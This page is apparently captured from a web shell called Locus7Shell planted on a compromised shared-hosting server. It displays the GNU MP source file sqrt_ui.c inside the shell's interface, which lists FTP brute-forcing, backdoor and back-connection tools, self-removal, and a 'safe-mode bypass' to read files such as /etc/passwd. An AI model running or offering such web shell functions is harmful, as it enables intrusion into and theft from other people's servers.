Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gmp-6.2.1/mpf/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     sqrt_ui.c (3.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* mpf_sqrt_ui -- Compute the square root of an unsigned integer.

Copyright 1993, 1994, 1996, 2000, 2001, 2004, 2005, 2015 Free Software
Foundation, Inc.

This file is part of the GNU MP Library.

The GNU MP Library is free software; you can redistribute it and/or modify
it under the terms of either:

  * the GNU Lesser General Public License as published by the Free
    Software Foundation; either version 3 of the License, or (at your
    option) any later version.

or

  * the GNU General Public License as published by the Free Software
    Foundation; either version 2 of the License, or (at your option) any
    later version.

or both in parallel, as here.

The GNU MP Library is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
for more details.

You should have received copies of the GNU General Public License and the
GNU Lesser General Public License along with the GNU MP Library.  If not,
see https://www.gnu.org/licenses/.  */

#include <stdio.h> /* for NULL */
#include "gmp-impl.h"


/* As usual the aim is to produce PREC(r) limbs of result with the high limb
   non-zero.  That high limb will end up floor(sqrt(u)), and limbs below are
   produced by padding the input with zeros, two for each desired result
   limb, being 2*(prec-1) for a total 2*prec-1 limbs passed to mpn_sqrtrem.
   The way mpn_sqrtrem calculates floor(sqrt(x)) ensures the root is correct
   to the intended accuracy, ie. truncated to prec limbs.

   With nails, u might be two limbs, in which case a total 2*prec limbs is
   passed to mpn_sqrtrem (still giving a prec limb result).  If uhigh is
   zero we adjust back to 2*prec-1, since mpn_sqrtrem requires the high
   non-zero.  2*prec limbs are always allocated, even when uhigh is zero, so
   the store of uhigh can be done without a conditional.

   u==0 is a special case so the rest of the code can assume the result is
   non-zero (ie. will have a non-zero high limb on the result).

   Not done:

   No attempt is made to identify perfect squares.  It's considered this can
   be left to an application if it might occur with any frequency.  As it
   stands, mpn_sqrtrem does its normal amount of work on a perfect square
   followed by zero limbs, though of course only an mpn_sqrtrem1 would be
   actually needed.  We also end up leaving our mpf result with lots of low
   trailing zeros, slowing down subsequent operations.

   We're not aware of any optimizations that can be made using the fact the
   input has lots of trailing zeros (apart from the perfect square
   case).  */


/* 1 if we (might) need two limbs for u */
#define U2   (GMP_NUMB_BITS < BITS_PER_ULONG)

void
mpf_sqrt_ui (mpf_ptr r, unsigned long int u)
{
  mp_size_t rsize, zeros;
  mp_ptr tp;
  mp_size_t prec;
  TMP_DECL;

  if (UNLIKELY (u <= 1))
    {
      SIZ (r) = EXP (r) = u;
      *PTR (r) = u;
      return;
    }

  TMP_MARK;

  prec = PREC (r);
  zeros = 2 * prec - 2;
  rsize = zeros + 1 + U2;

  tp = TMP_ALLOC_LIMBS (rsize);

  MPN_ZERO (tp, zeros);
  tp[zeros] = u & GMP_NUMB_MASK;

#if U2
  {
    mp_limb_t uhigh = u >> GMP_NUMB_BITS;
    tp[zeros + 1] = uhigh;
    rsize -= (uhigh == 0);
  }
#endif

  mpn_sqrtrem (PTR (r), NULL, tp, rsize);

  SIZ (r) = prec;
  EXP (r) = 1;
  TMP_FREE;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0054 ]--